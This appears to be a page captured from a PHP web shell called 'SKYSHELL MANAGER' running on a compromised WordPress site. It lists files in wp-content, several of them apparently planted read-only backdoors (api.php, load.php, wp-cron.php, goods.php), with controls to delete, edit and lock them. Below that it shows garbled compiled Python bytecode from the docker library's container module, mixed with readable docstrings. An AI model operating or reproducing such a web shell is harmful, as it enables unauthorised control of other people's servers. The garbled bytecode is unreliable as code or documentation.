📁
ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
voigtlaborg
/
wp-content
/
Name
Size
Perm
Actions
📁
themes
-
0755
🗑️
🏷️
🔒
📄
api.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: container.cpython-312.pyc
� �2.aF� � � � d dl m Z ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlm Z dd lm Z dd lm Z G d � d � Z y )� )�datetime� )�errors)�utils)�DEFAULT_DATA_CHUNK_SIZE)�CancellableStream)�ContainerConfig)�EndpointConfig)� HostConfig��NetworkingConfigc �8 � e Zd Z ej d� d%d�� Z ej d� d&d�� Z ej d� d'd�� Z d(d�Z d)d�Z d � Z d*d �Z d � Z d � Z d � Z ej d� d� � Z ej d� efd�� Z ej d� edfd�� Z ej d� d� � Z ej d� d*d�� Z ej d� d+d�� Z ej d� d� � Z ej d� d� � Z ej d� d� � Z ej2 d� d*d�� Z ej d� d,d�� Z ej d� d� � Z ej d� d� � Z ej d� d-d �� Z ej d� d � � Z ej d� d.d �� Z ej d� d*d �� Z! ej d� d*d �� Z" ej d� d!� � Z# ej2 d"� ej d� d/d#�� � Z$ ej d� d0d$�� Z%y)1�ContainerApiMixin� containerFc � � |xr dxs d|xr dxs d|xr dxs d|xr dxs dd�}ddd�}| j d|� } | j | ||d� � } | j | || j |� |� � } |r t | | � S | S ) aI Attach to a container. The ``.logs()`` function is a wrapper around this method, which you can use instead if you want to fetch/stream container output without first retrieving the entire backlog. Args: container (str): The container to attach to. stdout (bool): Include stdout. stderr (bool): Include stderr. stream (bool): Return container output progressively as an iterator of strings, rather than a single string. logs (bool): Include the container's previous output. demux (bool): Keep stdout and stderr separate. Returns: By default, the container's output as a single string (two if ``demux=True``: one for stdout and one for stderr). If ``stream=True``, an iterator of output strings. If ``demux=True``, two iterators are returned: one for stdout and one for stderr. Raises: :py:class:`docker.errors.APIError` If the server returns an error. � r )�logs�stdout�stderr�stream�Upgrade�tcp�� Connectionr �/containers/{0}/attachT)�headers�paramsr )�demux)�_url�_post�_read_from_socket� _check_is_ttyr ) �selfr r r r r r r r �u�response�outputs �6/usr/lib/python3/dist-packages/docker/api/container.py�attachzContainerApiMixin.attach s� � �@ �J�Q�O�!� �l��'�a� �l��'�a� �l��'�a� �� $� � �� �I�I�.� � :���:�:�a����:�M���'�'� �f�d� 0� 0�� ;�5� (� J�� �$�V�X�6� 6��M� Nc � � |�dddd�}d|vr d| j v r| j d |d< |r| j ||� S ddd�}| j d|� }| j | j |d| j |� d |� � � S ) a& Like ``attach``, but returns the underlying socket-like object for the HTTP request. Args: container (str): The container to attach to. params (dict): Dictionary of request parameters (e.g. ``stdout``, ``stderr``, ``stream``). For ``detachKeys``, ~/.docker/config.json is used by default. ws (bool): Use websockets instead of raw HTTP. Raises: :py:class:`docker.errors.APIError` If the server returns an error. Nr )r r r � detachKeysr r r r T�r r r )�_general_configs�_attach_websocketr �_get_raw_response_socket�post�_attach_params)r# r r �wsr r$ s r' � attach_socketz ContainerApiMixin.attach_socketD s� � �" �>�����F� �v� %� �D�$9�$9�9�#'�#8�#8� �#F�F�<� � ��)�)�)�V�<� <� $� � �� �I�I�.� � :���,�,� �I�I��4�� 3� 3�F� ;�D� � � � � r) c � � ||||||d�}| j d� } | j | j | ||�� d�� S )a Commit a container to an image. Similar to the ``docker commit`` command. Args: container (str): The image hash of the container repository (str): The repository to push the image to tag (str): The tag to push message (str): A commit message author (str): The name of the author changes (str): Dockerfile instructions to apply while committing conf (dict): The configuration for the container. See the `Engine API documentation <https://docs.docker.com/reference/api/docker_remote_api/>`_ for full details. Raises: :py:class:`docker.errors.APIError` If the server returns an error. )r �repo�tag�comment�author�changesz/commit��datar T��json)r �_result� _post_json) r# r � repositoryr6 �messager8 r9 �confr r$ s r' �commitzContainerApiMixin.commitq sW � �0 #� �� � � � �� �I�I�i� ���|�|� �O�O�A�D��O� 8�t� � � r) c �4 � |rdn||rdnd|rdnd|rdnd||d�} | rt j | � | d< | j d� } | j | j | | �� d� } |r| D � cg c] } d| d i�� c} S |r| D ] } | d d d | d< � | S c c} w ) a6 List containers. Similar to the ``docker ps`` command. Args: quiet (bool): Only display numeric Ids all (bool): Show all containers. Only running containers are shown by default trunc (bool): Truncate output latest (bool): Show only the latest created container, include non-running ones. since (str): Show only containers created since Id or Name, include non-running ones before (str): Show only container created before Id or Name, include non-running ones limit (int): Show `limit` last created containers, include non-running ones size (bool): Display sizes filters (dict): Filters to be processed on the image list. Available filters: - `exited` (int): Only containers with specified exit code - `status` (str): One of ``restarting``, ``running``, ``paused``, ``exited`` - `label` (str|list): format either ``"key"``, ``"key=value"`` or a list of such. - `id` (str): The id of the container. - `name` (str): The name of the container. - `ancestor` (str): Filter by container ancestor. Format of ``<image-name>[:tag]``, ``<image-id>``, or ``<image@digest>``. - `before` (str): Only containers created before a particular container. Give the container name or id. - `since` (str): Only containers created after a particular container. Give container name or id. A comprehensive list can be found in the documentation for `docker ps <https://docs.docker.com/engine/reference/commandline/ps>`_. Returns: A list of dicts, one per container Raises: :py:class:`docker.errors.APIError` If the server returns an error. r r )�limit�all�size� trunc_cmd�since�before�filtersz/containers/json�r T�IdN� )r �convert_filtersr r> �_get)r# �quietrF �trunc�latestrI rJ rE rG rK r r$ �res�xs r' � containersz ContainerApiMixin.containers� s� � �d !�Q�e��1�� �A�1� #���� � �� � %� 5� 5�g� >�F�9� � �I�I�(� )���l�l�4�9�9�Q�v�9�6��=�� �-0�1��T�1�T�7�O�1� 1� �� '���D�'�#�2�,��$�� '�� �� 2s �.Bc �8 � t | t � r| g} t | t � r t j j | � } |r | j j | � xs d} | j ||||||||| | | | ||||||||||� }| j || � S )a Creates a container. Parameters are similar to those for the ``docker run`` command except it doesn't support the attach options (``-a``). The arguments that are passed directly to this function are host-independent configuration options. Host-specific configuration is passed with the `host_config` argument. You'll normally want to use this method in combination with the :py:meth:`create_host_config` method to generate ``host_config``. **Port bindings** Port binding is done in two parts: first, provide a list of ports to open inside the container with the ``ports`` parameter, then declare bindings with the ``host_config`` parameter. For example: .. code-block:: python container_id = client.api.create_container( 'busybox', 'ls', ports=[1111, 2222], host_config=client.api.create_host_config(port_bindings={ 1111: 4567, 2222: None }) ) You can limit the host address on which the port will be exposed like such: .. code-block:: python client.api.create_host_config(port_bindings={1111: ('127.0.0.1', 4567)}) Or without host port assignment: .. code-block:: python client.api.create_host_config(port_bindings={1111: ('127.0.0.1',)}) If you wish to use UDP instead of TCP (default), you need to declare ports as such in both the config and host config: .. code-block:: python container_id = client.api.create_container( 'busybox', 'ls', ports=[(1111, 'udp'), 2222], host_config=client.api.create_host_config(port_bindings={ '1111/udp': 4567, 2222: None }) ) To bind multiple host ports to a single container port, use the following syntax: .. code-block:: python client.api.create_host_config(port_bindings={ 1111: [1234, 4567] }) You can also bind multiple IPs to a single container port: .. code-block:: python client.api.create_host_config(port_bindings={ 1111: [ ('192.168.0.100', 1234), ('192.168.0.101', 1234) ] }) **Using volumes** Volume declaration is done in two parts. Provide a list of paths to use as mountpoints inside the container with the ``volumes`` parameter, and declare mappings from paths on the host in the ``host_config`` section. .. code-block:: python container_id = client.api.create_container( 'busybox', 'ls', volumes=['/mnt/vol1', '/mnt/vol2'], host_config=client.api.create_host_config(binds={ '/home/user1/': { 'bind': '/mnt/vol2', 'mode': 'rw', }, '/var/www': { 'bind': '/mnt/vol1', 'mode': 'ro', } }) ) You can alternatively specify binds as a list. This code is equivalent to the example above: .. code-block:: python container_id = client.api.create_container( 'busybox', 'ls', volumes=['/mnt/vol1', '/mnt/vol2'], host_config=client.api.create_host_config(binds=[ '/home/user1/:/mnt/vol2', '/var/www:/mnt/vol1:ro', ]) ) **Networking** You can specify networks to connect the container to by using the ``networking_config`` parameter. At the time of creation, you can only connect a container to a single networking, but you can create more connections by using :py:meth:`~connect_container_to_network`. For example: .. code-block:: python networking_config = client.api.create_networking_config({ 'network1': client.api.create_endpoint_config( ipv4_address='172.28.0.124', aliases=['foo', 'bar'], links=['container2'] ) }) ctnr = client.api.create_container( img, command, networking_config=networking_config ) Args: image (str): The image to run command (str or list): The command to be run in the container hostname (str): Optional hostname for the container user (str or int): Username or UID detach (bool): Detached mode: run container in the background and return container ID stdin_open (bool): Keep STDIN open even if not attached tty (bool): Allocate a pseudo-TTY ports (list of ints): A list of port numbers environment (dict or list): A dictionary or a list of strings in the following format ``["PASSWORD=xxx"]`` or ``{"PASSWORD": "xxx"}``. volumes (str or list): List of paths inside the container to use as volumes. network_disabled (bool): Disable networking name (str): A name for the container entrypoint (str or list): An entrypoint working_dir (str): Path to the working directory domainname (str): The domain name to use for the container host_config (dict): A dictionary created with :py:meth:`create_host_config`. mac_address (str): The Mac Address to assign the container labels (dict or list): A dictionary of name-value labels (e.g. ``{"label1": "value1", "label2": "value2"}``) or a list of names of labels to set with empty values (e.g. ``["label1", "label2"]``) stop_signal (str): The stop signal to use to stop the container (e.g. ``SIGINT``). stop_timeout (int): Timeout to stop the container, in seconds. Default: 10 networking_config (dict): A networking configuration generated by :py:meth:`create_networking_config`. runtime (str): Runtime to use with this container. healthcheck (dict): Specify a test to perform to check that the container is healthy. use_config_proxy (bool): If ``True``, and if the docker client configuration file (``~/.docker/config.json`` by default) contains a proxy configuration, the corresponding environment variables will be set in the container being created. Returns: A dictionary with an image 'Id' key and a 'Warnings' key. Raises: :py:class:`docker.errors.ImageNotFound` If the specified image does not exist. :py:class:`docker.errors.APIError` If the server returns an error. N) � isinstance�str�dictr �format_environment�_proxy_configs�inject_proxy_environment�create_container_config� create_container_from_config)r# �image�command�hostname�user�detach� stdin_open�tty�ports� environment�volumes�network_disabled�name� entrypoint� working_dir� domainname� host_config� mac_address�labels� stop_signal�networking_config� healthcheck� stop_timeout�runtime�use_config_proxy�configs r' �create_containerz"ContainerApiMixin.create_container� s� � �~ �g�s� #� �k�G� �k�4� (� �+�+�8�8��E�K� � �-�-�F�F��� �� � �-�-� �7�H�d�F�J�� �;�� �j�+�z� ��f� �*�K� �'� �� �0�0���>�>r) c �4 � t | j g|��i |��S �N)r �_version�r# �args�kwargss r' r^ z)ContainerApiMixin.create_container_config� s � � �t�}�}�>�t�>�v�>�>r) c �x � | j d� }d|i}| j |||�� }| j |d� S )Nz/containers/createrk r: T)r r? r> )r# rx rk r$ r rT s r' r_ z.ContainerApiMixin.create_container_from_config� sD � � �I�I�*� +�� �D� �� �o�o�a�f�V�o�<���|�|�C��&�&r) c �\ � |si }d|v r t d� �| j |d< t |i |��S )aU Create a dictionary for the ``host_config`` argument to :py:meth:`create_container`. Args: auto_remove (bool): enable auto-removal of the container on daemon side when the container's process exits. binds (dict): Volumes to bind. See :py:meth:`create_container` for more information. blkio_weight_device: Block IO weight (relative device weight) in the form of: ``[{"Path": "device_path", "Weight": weight}]``. blkio_weight: Block IO weight (relative weight), accepts a weight value between 10 and 1000. cap_add (list of str): Add kernel capabilities. For example, ``["SYS_ADMIN", "MKNOD"]``. cap_drop (list of str): Drop kernel capabilities. cpu_period (int): The length of a CPU period in microseconds. cpu_quota (int): Microseconds of CPU time that the container can get in a CPU period. cpu_shares (int): CPU shares (relative weight). cpuset_cpus (str): CPUs in which to allow execution (``0-3``, ``0,1``). cpuset_mems (str): Memory nodes (MEMs) in which to allow execution (``0-3``, ``0,1``). Only effective on NUMA systems. device_cgroup_rules (:py:class:`list`): A list of cgroup rules to apply to the container. device_read_bps: Limit read rate (bytes per second) from a device in the form of: `[{"Path": "device_path", "Rate": rate}]` device_read_iops: Limit read rate (IO per second) from a device. device_write_bps: Limit write rate (bytes per second) from a device. device_write_iops: Limit write rate (IO per second) from a device. devices (:py:class:`list`): Expose host devices to the container, as a list of strings in the form ``<path_on_host>:<path_in_container>:<cgroup_permissions>``. For example, ``/dev/sda:/dev/xvda:rwm`` allows the container to have read-write access to the host's ``/dev/sda`` via a node named ``/dev/xvda`` inside the container. device_requests (:py:class:`list`): Expose host resources such as GPUs to the container, as a list of :py:class:`docker.types.DeviceRequest` instances. dns (:py:class:`list`): Set custom DNS servers. dns_opt (:py:class:`list`): Additional options to be added to the container's ``resolv.conf`` file dns_search (:py:class:`list`): DNS search domains. extra_hosts (dict): Additional hostnames to resolve inside the container, as a mapping of hostname to IP address. group_add (:py:class:`list`): List of additional group names and/or IDs that the container process will run as. init (bool): Run an init inside the container that forwards signals and reaps processes ipc_mode (str): Set the IPC mode for the container. isolation (str): Isolation technology to use. Default: ``None``. links (dict): Mapping of links using the ``{'container': 'alias'}`` format. The alias is optional. Containers declared in this dict will be linked to the new container using the provided alias. Default: ``None``. log_config (LogConfig): Logging configuration lxc_conf (dict): LXC config. mem_limit (float or str): Memory limit. Accepts float values (which represent the memory limit of the created container in bytes) or a string with a units identification char (``100000b``, ``1000k``, ``128m``, ``1g``). If a string is specified without a units character, bytes are assumed as an mem_reservation (float or str): Memory soft limit. mem_swappiness (int): Tune a container's memory swappiness behavior. Accepts number between 0 and 100. memswap_limit (str or int): Maximum amount of memory + swap a container is allowed to consume. mounts (:py:class:`list`): Specification for mounts to be added to the container. More powerful alternative to ``binds``. Each item in the list is expected to be a :py:class:`docker.types.Mount` object. network_mode (str): One of: - ``bridge`` Create a new network stack for the container on the bridge network. - ``none`` No networking for this container. - ``container:<name|id>`` Reuse another container's network stack. - ``host`` Use the host network stack. This mode is incompatible with ``port_bindings``. oom_kill_disable (bool): Whether to disable OOM killer. oom_score_adj (int): An integer value containing the score given to the container in order to tune OOM killer preferences. pid_mode (str): If set to ``host``, use the host PID namespace inside the container. pids_limit (int): Tune a container's pids limit. Set ``-1`` for unlimited. port_bindings (dict): See :py:meth:`create_container` for more information. Imcompatible with ``host`` in ``network_mode``. privileged (bool): Give extended privileges to this container. publish_all_ports (bool): Publish all ports to the host. read_only (bool): Mount the container's root filesystem as read only. restart_policy (dict): Restart the container when it exits. Configured as a dictionary with keys: - ``Name`` One of ``on-failure``, or ``always``. - ``MaximumRetryCount`` Number of times to restart the container on failure. security_opt (:py:class:`list`): A list of string values to customize labels for MLS systems, such as SELinux. shm_size (str or int): Size of /dev/shm (e.g. ``1G``). storage_opt (dict): Storage driver options per container as a key-value mapping. sysctls (dict): Kernel parameters to set in the container. tmpfs (dict): Temporary filesystems to mount, as a dictionary mapping a path inside the container to options for that path. For example: .. code-block:: python { '/mnt/vol2': '', '/mnt/vol1': 'size=3G,uid=1000' } ulimits (:py:class:`list`): Ulimits to set inside the container, as a list of :py:class:`docker.types.Ulimit` instances. userns_mode (str): Sets the user namespace mode for the container when user namespace remapping option is enabled. Supported values are: ``host`` uts_mode (str): Sets the UTS namespace mode for the container. Supported values are: ``host`` volumes_from (:py:class:`list`): List of container names or IDs to get volumes from. runtime (str): Runtime to use with this container. Returns: (dict) A dictionary which can be passed to the ``host_config`` argument to :py:meth:`create_container`. Example: >>> client.api.create_host_config(privileged=True, cap_drop=['MKNOD'], volumes_from=['nostalgic_newton']) {'CapDrop': ['MKNOD'], 'LxcConf': None, 'Privileged': True, 'VolumesFrom': ['nostalgic_newton'], 'PublishAllPorts': False} �versionzAcreate_host_config() got an unexpected keyword argument 'version')� TypeErrorr| r r} s r' �create_host_configz$ContainerApiMixin.create_host_config� sG � �f ��F� �� ��-�� � !�M�M��y���4�*�6�*�*r) c � � t |i |��S )a� Create a networking config dictionary to be used as the ``networking_config`` parameter in :py:meth:`create_container`. Args: endpoints_config (dict): A dictionary mapping network names to endpoint configurations generated by :py:meth:`create_endpoint_config`. Returns: (dict) A networking config. Example: >>> client.api.create_network('network1') >>> networking_config = client.api.create_networking_config({ 'network1': client.api.create_endpoint_config() }) >>> container = client.api.create_container( img, command, networking_config=networking_config ) r r} s r' �create_networking_configz*ContainerApiMixin.create_networking_configV s � �0 ��0��0�0r) c �4 � t | j g|��i |��S )a� Create an endpoint config dictionary to be used with :py:meth:`create_networking_config`. Args: aliases (:py:class:`list`): A list of aliases for this endpoint. Names in that list can be used within the network to reach the container. Defaults to ``None``. links (dict): Mapping of links for this endpoint using the ``{'container': 'alias'}`` format. The alias is optional. Containers declared in this dict will be linked to this container using the provided alias. Defaults to ``None``. ipv4_address (str): The IP address of this container on the network, using the IPv4 protocol. Defaults to ``None``. ipv6_address (str): The IP address of this container on the network, using the IPv6 protocol. Defaults to ``None``. link_local_ips (:py:class:`list`): A list of link-local (IPv4/IPv6) addresses. driver_opt (dict): A dictionary of options to provide to the network driver. Defaults to ``None``. Returns: (dict) An endpoint config. Example: >>> endpoint_config = client.api.create_endpoint_config( aliases=['web', 'app'], links={'app_db': 'db', 'another': None}, ipv4_address='132.65.0.123' ) )r r| r} s r' �create_endpoint_configz(ContainerApiMixin.create_endpoint_configp s � �D �d�m�m�=�d�=�f�=�=r) c �d � | j | j | j d|� � d� S )a Inspect changes on a container's filesystem. Args: container (str): The container to diff Returns: (str) Raises: :py:class:`docker.errors.APIError` If the server returns an error. z/containers/{0}/changesT�r> rP r �r# r s r' �diffzContainerApiMixin.diff� s/ � � �|�|� �I�I�d�i�i� 9�9�E� F�� � r) c �n � | j | j d|� d�� }| j ||d� S )a Export the contents of a filesystem as a tar archive. Args: container (str): The container to export chunk_size (int): The number of bytes returned by each iteration of the generator. If ``None``, data will be streamed as it is received. Default: 2 MB Returns: (generator): The archived filesystem data stream Raises: :py:class:`docker.errors.APIError` If the server returns an error. z/containers/{0}/exportT�r F)rP r �_stream_raw_result)r# r � chunk_sizerT s r' �exportzContainerApiMixin.export� s? � �$ �i�i� �I�I�.� � :�4� � �� �&�&�s�J��>�>r) c � � d|i}|rddinddi}| j d|� }| j ||d|�� }| j |� |j j d� } | j ||d � | rt j | � fS d fS ) a Retrieve a file or folder from a container in the form of a tar archive. Args: container (str): The container where the file is located path (str): Path to the file or folder to retrieve chunk_size (int): The number of bytes returned by each iteration of the generator. If ``None``, data will be streamed as it is received. Default: 2 MB encode_stream (bool): Determines if data should be encoded (gzip-compressed) during transmission. Default: False Returns: (tuple): First element is a raw tar data stream. Second element is a dict containing ``stat`` information on the specified ``path``. Raises: :py:class:`docker.errors.APIError` If the server returns an error. Example: >>> c = docker.APIClient() >>> f = open('./sh_bin.tar', 'wb') >>> bits, stat = c.api.get_archive(container, '/bin/sh') >>> print(stat) {'name': 'sh', 'size': 1075464, 'mode': 493, 'mtime': '2018-10-01T15:37:48-07:00', 'linkTarget': ''} >>> for chunk in bits: ... f.write(chunk) >>> f.close() �pathzAccept-Encodingz gzip, deflate�identity�/containers/{0}/archiveTr, z x-docker-container-path-statFN)r rP �_raise_for_statusr �getr� r �decode_json_header) r# r r� r� � encode_streamr r �urlrT � encoded_stats r' � get_archivez ContainerApiMixin.get_archive� s� � �J �D� �� � �� � �z�! � � �i�i�1�9�=���i�i��F�4��i�I�� � � �s�#��{�{���'E�F� � � #� #�C��U� ;�6B�E� $� $�\� 2� � �HL� � r) c �d � | j | j | j d|� � d� S )a| Identical to the `docker inspect` command, but only for containers. Args: container (str): The container to inspect Returns: (dict): Similar to the output of `docker inspect`, but as a single dict Raises: :py:class:`docker.errors.APIError` If the server returns an error. �/containers/{0}/jsonTr� r� s r' �inspect_containerz#ContainerApiMixin.inspect_container� s/ � � �|�|� �I�I�d�i�i� 6� �B� C�T� � r) c � � | j d|� }i }|� t |t � s t |� }||d< | j ||�� }| j |� y)aB Kill a container or send a signal to a container. Args: container (str): The container to kill signal (str or int): The signal to send. Defaults to ``SIGKILL`` Raises: :py:class:`docker.errors.APIError` If the server returns an error. z/containers/{0}/killN�signalrL )r rX rY �intr r� )r# r r� r� r rT s r' �killzContainerApiMixin.kill s] � � �i�i�.� �:���� � � �f�c�*� �V��� %�F�8� ��j�j��V�j�,�� � � �s�#r) c �b � |�|}|xr dxs d|xr dxs d|xr dxs d|xr dxs dd�} |dk7 rt |t � r|dk rd}|| d< |�qt |t � rt j |� | d< nHt |t � r |dkD r|| d< n-t j dj t |� � � �| ��t j | j d� rt j d � �t | t � rt j | � | d < nHt | t � r | dkD r| | d < n-t j d j t | � � � �| j d |� } | j | | |� � } | j ||| � } |r t | | � S | S )a� Get logs from a container. Similar to the ``docker logs`` command. The ``stream`` parameter makes the ``logs`` function return a blocking generator you can iterate over to retrieve log output as it happens. Args: container (str): The container to get logs from stdout (bool): Get ``STDOUT``. Default ``True`` stderr (bool): Get ``STDERR``. Default ``True`` stream (bool): Stream the response. Default ``False`` timestamps (bool): Show timestamps. Default ``False`` tail (str or int): Output specified number of lines at the end of logs. Either an integer of number of lines or the string ``all``. Default ``all`` since (datetime or int): Show logs since a given datetime or integer epoch (in seconds) follow (bool): Follow log output. Default ``False`` until (datetime or int): Show logs that occurred before the given datetime or integer epoch (in seconds) Returns: (generator or str) Raises: :py:class:`docker.errors.APIError` If the server returns an error. r r )r r � timestamps�followrF �tailrI z6since value should be datetime or positive int, not {}z1.35z-until is not supported for API version < 1.35�untilz6until value should be datetime or positive int, not {}z/containers/{0}/logs)r r )rX r� r r �datetime_to_timestampr �InvalidArgument�format�type� version_ltr| �InvalidVersionr rP � _get_resultr )r# r r r r r� r� rI r� r� r r� rT r& s r' r zContainerApiMixin.logs s� � �@ �>��F� "�L�q� -�A� "�L�q� -�A� *� 0�q� 5�A� "�L�q� -�A��� �5�=�*�T�3�"7�4�!�8��D� ��v�� � ��%��*�"'�"=�"=�e�"D��w�� �U�C�(�U�Q�Y�"'��w�� �,�,� � #�V�D��K� 0�� � � �� � �� � �v�6� �+�+�C�� � �%��*�"'�"=�"=�e�"D��w�� �U�C�(�U�Q�Y�"'��w�� �,�,� � #�V�D��K� 0�� � �i�i�.� �:���i�i��F�6�i�:���!�!�)�V�S�9�� �$�V�S�1� 1��Mr) c �l � | j d|� }| j |� }| j |� y)z� Pauses all processes within a container. Args: container (str): The container to pause Raises: :py:class:`docker.errors.APIError` If the server returns an error. z/containers/{0}/pauseN�r r r� �r# r r� rT s r' �pausezContainerApiMixin.pausel s0 � � �i�i�/��;���j�j��o�� � � �s�#r) c �\ � | j | j d|� � }| j |� |j � }t |� }d}|j di � j d� }|�yd|v r|j |� S dD ] }|j |dz |z � }|s� |S |S )a# Lookup the public-facing port that is NAT-ed to ``private_port``. Identical to the ``docker port`` command. Args: container (str): The container to look up private_port (int): The private port to inspect Returns: (list of dict): The mapping for the host ports Raises: :py:class:`docker.errors.APIError` If the server returns an error. Example: .. code-block:: bash $ docker run -d -p 80:80 ubuntu:14.04 /bin/sleep 30 7174d6347063a83f412fad6124c99cffd25ffe1a0807eb4b7f9cec76ac8cb43b .. code-block:: python >>> client.api.port('7174d6347063', 80) [{'HostIp': '0.0.0.0', 'HostPort': '80'}] r� N�NetworkSettings�Ports�/)r �udp�sctp)rP r r� r= rY r� )r# r � private_portrT �json_�h_ports� port_settings�protocols r' �portzContainerApiMixin.port| s� � �8 �i�i�� � �"8�)�D�E�� � � �s�#���� ���<�(� ��� � � �"3�R�8�<�<�W�E� � � �� �,� � �$�$�\�2� 2�.� �H�#�'�'� �s�(:�X�(E�F�G����� � �r) c � � d|i}| j d|� }| j |||�� }| j |� |j dk( S )a Insert a file or folder in an existing container using a tar archive as source. Args: container (str): The container where the file(s) will be extracted path (str): Path inside the container where the file(s) will be extracted. Must exist. data (bytes): tar data to be extracted Returns: (bool): True if the call succeeds. Raises: :py:class:`docker.errors.APIError` If the server returns an error. r� r� )r r; �� )r �_putr� � status_code)r# r r� r; r r� rT s r' � put_archivez ContainerApiMixin.put_archive� sO � �& �$� ���i�i�1�9�=���i�i��F��i�6�� � � �s�#����#�%�%r) z1.25c � � i }|rt j |� |d< | j d� }| j | j ||�� d� S )a� Delete stopped containers Args: filters (dict): Filters to process on the prune list. Returns: (dict): A dict containing a list of deleted container IDs and the amount of disk space reclaimed in bytes. Raises: :py:class:`docker.errors.APIError` If the server returns an error. rK z/containers/prunerL T)r rO r r> r )r# rK r r� s r' �prune_containersz"ContainerApiMixin.prune_containers� sN � � �� � %� 5� 5�g� >�F�9� ��i�i�+�,���|�|�D�J�J�s�6�J� :�D�A�Ar) c �x � |||d�}| j | j d|� |�� }| j |� y)a Remove a container. Similar to the ``docker rm`` command. Args: container (str): The container to remove v (bool): Remove the volumes associated with the container link (bool): Remove the specified link and not the underlying container force (bool): Force the removal of a running container (uses ``SIGKILL``) Raises: :py:class:`docker.errors.APIError` If the server returns an error. )�v�link�forcez/containers/{0}rL N)�_deleter r� )r# r r� r� r� r rT s r' �remove_containerz"ContainerApiMixin.remove_container� sD � �" �$��7���l�l� �I�I�'�� 3�F� � �� � � �s�#r) c �x � | j d|� }d|i}| j ||�� }| j |� y)a< Rename a container. Similar to the ``docker rename`` command. Args: container (str): ID of the container to rename name (str): New name for the container Raises: :py:class:`docker.errors.APIError` If the server returns an error. z/containers/{0}/renamerk rL Nr� )r# r rk r� r rT s r' �renamezContainerApiMixin.rename� s> � � �i�i�0�)�<���$� ���j�j��V�j�,�� � � �s�#r) c �z � ||d�}| j d|� }| j ||�� }| j |� y)aC Resize the tty session. Args: container (str or dict): The container to resize height (int): Height of tty session width (int): Width of tty session Raises: :py:class:`docker.errors.APIError` If the server returns an error. )�h�wz/containers/{0}/resizerL Nr� )r# r �height�widthr r� rT s r' �resizezContainerApiMixin.resize s? � � �E�*���i�i�0�)�<���j�j��V�j�,�� � � �s�#r) c � � d|i}| j d|� }| j }|�||z }| j |||�� }| j |� y)a� Restart a container. Similar to the ``docker restart`` command. Args: container (str or dict): The container to restart. If a dict, the ``Id`` key is used. timeout (int): Number of seconds to try to stop for before killing the container. Once killed it will then be restarted. Default is 10 seconds. Raises: :py:class:`docker.errors.APIError` If the server returns an error. �tz/containers/{0}/restartN�r �timeout�r r� r r� �r# r r� r r� � conn_timeoutrT s r' �restartzContainerApiMixin.restart sY � � �w� ���i�i�1�9�=���|�|� � � #� �G� #�L��j�j��V�\�j�B�� � � �s�#r) c � � |s|rt j d� �| j d|� }| j |� }| j |� y)a� Start a container. Similar to the ``docker start`` command, but doesn't support attach options. **Deprecation warning:** Passing configuration options in ``start`` is no longer supported. Users are expected to provide host config options in the ``host_config`` parameter of :py:meth:`~ContainerApiMixin.create_container`. Args: container (str): The container to start Raises: :py:class:`docker.errors.APIError` If the server returns an error. :py:class:`docker.errors.DeprecatedMethod` If any argument besides ``container`` are provided. Example: >>> container = client.api.create_container( ... image='busybox:latest', ... command='/bin/sleep 30') >>> client.api.start(container=container.get('Id')) z|Providing configuration in the start() method is no longer supported. Use the host_config param in create_container instead.z/containers/{0}/startN)r �DeprecatedMethodr r r� )r# r r~ r r� rT s r' �startzContainerApiMixin.start1 sO � �8 �6��)�)��� � �i�i�/��;���j�j��o�� � � �s�#r) c �� � | j d|� }|r$| j | j |d�� |�� S |rt j d� �| j | j |ddi�� d� � S ) ao Stream statistics for a specific container. Similar to the ``docker stats`` command. Args: container (str): The container to stream statistics from decode (bool): If set to true, stream will be decoded into dicts on the fly. Only applicable if ``stream`` is True. False by default. stream (bool): If set to false, only the current stats will be returned instead of a stream. True by default. Raises: :py:class:`docker.errors.APIError` If the server returns an error. z/containers/{0}/statsTr� )�decodez8decode is only available in conjunction with stream=Truer FrL r< )r �_stream_helperrP r r� r> )r# r r� r r� s r' �statszContainerApiMixin.statsW s� � �& �i�i�/��;�� ��&�&�t�y�y��T�y�'B�.4� '� 6� 6� � �,�,�N�� � �<�<�� � �#�x��6G� � H�%)� � +� +r) c � � |�i }d}nd|i}| j d|� }| j }|�||z }| j |||�� }| j |� y)a� Stops a container. Similar to the ``docker stop`` command. Args: container (str): The container to stop timeout (int): Timeout in seconds to wait for the container to stop before sending a ``SIGKILL``. If None, then the StopTimeout value of the container will be used. Default: None Raises: :py:class:`docker.errors.APIError` If the server returns an error. N� r� z/containers/{0}/stopr� r� r� s r' �stopzContainerApiMixin.stopv sh � � �?��F��G��7�^�F��i�i�.� �:���|�|� � � #� �G� #�L��j�j��V�\�j�B�� � � �s�#r) c �~ � | j d|� }i }|�||d< | j | j ||�� d� S )a| Display the running processes of a container. Args: container (str): The container to inspect ps_args (str): An optional arguments passed to ps (e.g. ``aux``) Returns: (str): The output of the top Raises: :py:class:`docker.errors.APIError` If the server returns an error. z/containers/{0}/top�ps_argsrL T)r r> rP )r# r r� r$ r s r' �topzContainerApiMixin.top� sH � � �I�I�+�Y� 7���� � � '�F�9� ��|�|�D�I�I�a��I� 7��>�>r) c �l � | j d|� }| j |� }| j |� y)z� Unpause all processes within a container. Args: container (str): The container to unpause z/containers/{0}/unpauseNr� r� s r' �unpausezContainerApiMixin.unpause� s0 � � �i�i�1�9�=���j�j��o�� � � �s�#r) z1.22c � � | j d|� } i }|r||d< |r||d< |r||d< |r||d< |r||d< |r||d< |rt j |� |d< | rt j | � |d < | rt j | � |d < | rt j | � |d < | r:t j | j d � rt j d � �| |d< | j | |�� }| j |d� S )aC Update resource configs of one or more containers. Args: container (str): The container to inspect blkio_weight (int): Block IO (relative weight), between 10 and 1000 cpu_period (int): Limit CPU CFS (Completely Fair Scheduler) period cpu_quota (int): Limit CPU CFS (Completely Fair Scheduler) quota cpu_shares (int): CPU shares (relative weight) cpuset_cpus (str): CPUs in which to allow execution cpuset_mems (str): MEMs in which to allow execution mem_limit (float or str): Memory limit mem_reservation (float or str): Memory soft limit memswap_limit (int or str): Total memory (memory + swap), -1 to disable swap kernel_memory (int or str): Kernel memory limit restart_policy (dict): Restart policy dictionary Returns: (dict): Dictionary containing a ``Warnings`` key. Raises: 